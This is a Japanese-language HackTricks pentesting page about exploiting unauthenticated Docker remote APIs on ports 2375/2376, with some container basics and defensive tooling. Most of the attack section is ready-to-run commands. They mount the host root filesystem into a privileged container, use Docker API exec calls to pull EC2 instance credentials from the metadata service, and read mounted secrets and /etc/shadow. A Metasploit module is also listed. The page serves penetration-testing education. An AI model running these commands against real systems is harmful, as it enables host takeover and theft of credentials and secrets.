hacktricks/network-services-pentesting/2375-pentesting-docker.md

24 KiB
Raw Permalink Blame History

2375, 2376 Pentesting Docker

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Dockerの基本

とは

Dockerはコンテナ化業界最前線プラットフォームであり、継続的な革新を先導しています。これは、従来型から未来型にわたるアプリケーションの作成と配布を容易にし、さまざまな環境での安全なデプロイメントを保証します。

基本的なDockerアーキテクチャ

  • containerd: これはコンテナのコアランタイムであり、コンテナのライフサイクルの包括的な管理を担当します。これには、イメージの転送とストレージの管理に加え、コンテナの実行、監視、ネットワーキングの監督が含まれます。containerdに関する詳細な洞察さらに探求されます
  • container-shimは、ヘッドレスコンテナの処理において重要な役割を果たし、コンテナが初期化された後にruncからシームレスに引き継ぎます。
  • runc: 軽量で汎用的なコンテナランタイム機能で評価されているruncは、OCI標準に準拠しています。これは、containerdがOCIガイドラインに従ってコンテナを起動および管理するために使用され、元のlibcontainerから進化しました。
  • grpcは、containerdとdocker-engine間の通信を促進するために不可欠であり、効率的な相互作用を確保します。
  • OCIは、ランタイムとイメージのためのOCI仕様を維持する上で重要であり、最新のDockerバージョンはOCIイメージおよびランタイム標準の両方に準拠しています

基本コマンド

docker version #Get version of docker client, API, engine, containerd, runc, docker-init
docker info #Get more infomarion about docker settings
docker pull registry:5000/alpine #Download the image
docker inspect <containerid> #Get info of the contaienr
docker network ls #List network info
docker exec -it <containerid> /bin/sh #Get shell inside a container
docker commit <cotainerid> registry:5000/name-container #Update container
docker export -o alpine.tar <containerid> #Export container as tar file
docker save -o ubuntu.tar <image> #Export an image
docker ps -a #List running and stopped containers
docker stop <containedID> #Stop running container
docker rm <containerID> #Remove container ID
docker image ls #List images
docker rmi <imgeID> #Remove image
docker system prune -a
#This will remove:
#  - all stopped containers
#  - all networks not used by at least one container
#  - all images without at least one container associated to them
#  - all build cache

Containerd

Containerdは、DockerやKubernetesなどのコンテナプラットフォームのニーズに応えるために特別に開発されました。これは、Linux、Windows、Solarisなどのさまざまなオペレーティングシステムでのコンテナの実行を簡素化することを目的としており、オペレーティングシステム固有の機能やシステムコールを抽象化しています。Containerdの目標は、ユーザーに必要な基本的な機能のみを含め、不要なコンポーネントを省くことを目指しています。しかし、この目標を完全に達成することは困難であると認識されています。

重要な設計上の決定は、Containerdがネットワーキングを扱わないことです。ネットワーキングは分散システムにおいて重要な要素と見なされており、ソフトウェア定義ネットワーキングSDNやサービスディスカバリーなどの複雑さは、プラットフォームによって大きく異なります。したがって、Containerdはサポートするプラットフォームにネットワーキングの管理を委ねています。

DockerがContainerdを利用してコンテナを実行する一方で、ContainerdはDockerの機能のサブセットのみをサポートしていることに注意が必要です。具体的には、ContainerdはDockerに存在するネットワーク管理機能を欠いており、Dockerスウォームの作成を直接サポートしていません。この違いは、Containerdがコンテナランタイム環境としての焦点を絞った役割を持ち、統合するプラットフォームにより専門的な機能を委任していることを強調しています。

#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
ctr images list #List images
ctr container create registry:5000/alpine:latest alpine #Create container called alpine
ctr container list #List containers
ctr container info <containerName> #Get container info
ctr task start <containerName> #You are given a shell inside of it
ctr task list #Get status of containers
ctr tasks attach <containerName> #Get shell in running container
ctr task pause <containerName> #Stop container
ctr tasks resume <containerName> #Resume cotainer
ctr task kill -s SIGKILL <containerName> #Stop running container
ctr container delete <containerName>

Podman

Podmanは、Red Hatによって開発および維持されているオープンソースのコンテナエンジンで、Open Container Initiative (OCI) standardsに準拠しています。デーモンレスアーキテクチャルートレスコンテナのサポートなど、Dockerとは異なるいくつかの特徴があります。これにより、ユーザーはルート権限なしでコンテナを実行できます。

PodmanはDockerのAPIと互換性があるように設計されており、Docker CLIコマンドを使用できます。この互換性は、コンテナイメージを構築するためのBuildahや、プッシュ、プル、インスペクトなどのイメージ操作のためのSkopeoなどのツールを含むエコシステムにまで及びます。これらのツールの詳細は、GitHubページで確認できます。

主な違い

  • アーキテクチャ: Dockerのクライアント-サーバーモデルとは異なり、Podmanはデーモンなしで動作します。この設計により、コンテナはそれを起動したユーザーの権限で実行され、ルートアクセスの必要がなくなることでセキュリティが向上します。
  • Systemd統合: Podmanはsystemdと統合されており、systemdユニットを通じてコンテナを管理できます。これは、Dockerが主にDockerデーモンプロセスの管理にsystemdを使用するのとは対照的です。
  • ルートレスコンテナ: Podmanの重要な機能は、起動ユーザーの権限でコンテナを実行できることです。このアプローチにより、攻撃者が得るのは侵害されたユーザーの権限のみであり、ルートアクセスは得られないため、コンテナ侵害に伴うリスクが最小限に抑えられます。

Podmanのアプローチは、ユーザー権限管理と既存のDockerワークフローとの互換性を強調し、Dockerに対する安全で柔軟な代替手段を提供します。

{% hint style="info" %} PodmanはDockerと同じAPIをサポートすることを目指しているため、次のようにPodmanでDockerと同じコマンドを使用できます:

podman --version
podman info
pdoman images ls
podman ls

{% endhint %}

基本情報

リモートAPIは、有効にするとデフォルトで2375ポートで実行されます。サービスはデフォルトで認証を必要とせず、攻撃者が特権のあるdockerコンテナを起動できるようになります。リモートAPIを使用することで、ホストの/(ルートディレクトリ)をコンテナにアタッチし、ホストの環境のファイルを読み書きすることができます。

デフォルトポート: 2375

PORT    STATE SERVICE
2375/tcp open  docker

列挙

手動

Docker APIを列挙するには、次の例のようにdockerコマンドまたはcurlを使用できます:

#Using curl
curl -s http://open.docker.socket:2375/version | jq #Get version
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}

#Using docker
docker -H open.docker.socket:2375 version #Get version
Client: Docker Engine - Community
Version:           19.03.1
API version:       1.40
Go version:        go1.12.5
Git commit:        74b1e89
Built:             Thu Jul 25 21:21:05 2019
OS/Arch:           linux/amd64
Experimental:      false

Server: Docker Engine - Community
Engine:
Version:          19.03.1
API version:      1.40 (minimum version 1.12)
Go version:       go1.12.5
Git commit:       74b1e89
Built:            Thu Jul 25 21:19:41 2019
OS/Arch:          linux/amd64
Experimental:     false
containerd:
Version:          1.2.6
GitCommit:        894b81a4b802e4eb2a91d1ce216b8817763c29fb
runc:
Version:          1.0.0-rc8
GitCommit:        425e105d5a03fabd737a126ad93d62a9eeede87f
docker-init:
Version:          0.18.0
GitCommit:        fec3683

リモートのdocker APIにdockerコマンドで接続できる場合、サービスに興味を持つために、以前にコメントされたdocker コマンドのいずれかを実行できます。

{% hint style="info" %} export DOCKER_HOST="tcp://localhost:2375"を使用して、dockerコマンドで-Hパラメータを回避できます {% endhint %}

迅速な特権昇格

docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash

Curl

時々、TLS エンドポイントに 2376 が表示されます。docker クライアントで接続することはできませんでしたが、curl を使って接続することは可能です。

#List containers
curl insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
#Get the output
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
curl -s insecure https://tlsopen.docker.socket:2376/secrets | jq
#Check what is mounted
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
#Get the output by starting the exec
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
#Cat the mounted secret
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
#List service (If you have secrets, its also worth checking out services in case they are adding secrets via environment variables)
curl -s insecure https://tls-opendocker.socket:2376/services | jq
#Creating a container that has mounted the host file system and read /etc/shadow
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
#Stop the container
curl insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
#Delete stopped containers
curl insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune

もしこれについてもっと情報が必要な場合、コマンドをコピーした場所にさらに情報があります: https://securityboulevard.com/2019/02/abusing-docker-api-socket/

自動

msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p <PORT> <IP>

Compromising

以下のページでは、Dockerコンテナからの脱出方法を見つけることができます:

{% content-ref url="../linux-hardening/privilege-escalation/docker-security/" %} docker-security {% endcontent-ref %}

これを悪用することで、コンテナから脱出することが可能です。リモートマシンで脆弱なコンテナを実行し、そこから脱出してマシンを侵害することができます:

docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow

特権昇格

dockerを使用しているホスト内にいる場合、特権を昇格させるためにこの情報を読むことができます

実行中のDockerコンテナ内の秘密を発見する

docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id>

env(環境変数セクション)をチェックして、秘密情報を見つけることができます:

  • パスワード。
  • IPアドレス。
  • ポート。
  • パス。
  • その他… 。

ファイルを抽出したい場合:

docker cp <docket_id>:/etc/<secret_01> <secret_01>

Dockerのセキュリティ

Dockerのインストールと使用のセキュリティ

  • 現在のdockerインストールを検査するために、ツールhttps://github.com/docker/docker-bench-securityを使用できます。
  • ./docker-bench-security.sh
  • 現在のdockerインストールを検査するために、ツールhttps://github.com/kost/dockscanを使用できます。
  • dockscan -v unix:///var/run/docker.sock
  • 異なるセキュリティオプションで実行されるコンテナの権限を確認するために、ツールhttps://github.com/genuinetools/amicontainedを使用できます。これは、コンテナを実行するためにいくつかのセキュリティオプションを使用することの影響を知るのに役立ちます:
  • docker run --rm -it r.j3ss.co/amicontained
  • docker run --rm -it --pid host r.j3ss.co/amicontained
  • docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained

Dockerイメージのセキュリティ

  • 他のdockerイメージをスキャンして脆弱性を見つけるために、https://github.com/quay/clairのdockerイメージを使用できます。
  • docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"
  • clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image

Dockerfileのセキュリティ

疑わしい活動のログ記録

  • 実行中のコンテナでの疑わしい動作を検出するために、ツールhttps://github.com/falcosecurity/falcoを使用できます。
  • 次のチャンクでは、Falcoがカーネルモジュールをコンパイルして挿入する方法に注意してください。その後、ルールを読み込み、疑わしい活動のログを記録し始めます。この場合、特権コンテナが2つ開始され、そのうちの1つは敏感なマウントを持ち、数秒後に1つのコンテナ内でシェルが開かれたことを検出しました。
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host
* Unloading falco-probe, if present
* Running dkms install for falco

Kernel preparation unnecessary for this kernel.  Skipping...

Building module:
cleaning build area......
make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build.............
cleaning build area......

DKMS: build completed.

falco-probe.ko:
Running module version sanity check.
modinfo: ERROR: missing module or filename.
- Original module
- No original module exists within this kernel
- Installation
- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory

depmod...

DKMS: install completed.
* Trying to load a dkms falco-probe, if present
falco-probe found and loaded in dkms
2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml
2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml:
2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765
2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user=<NA> command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)
2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user=<NA> command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)

Dockerの監視

auditdを使用してDockerを監視できます。

参考文献

{% hint style="success" %} AWSハッキングを学び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践するHackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする
{% endhint %}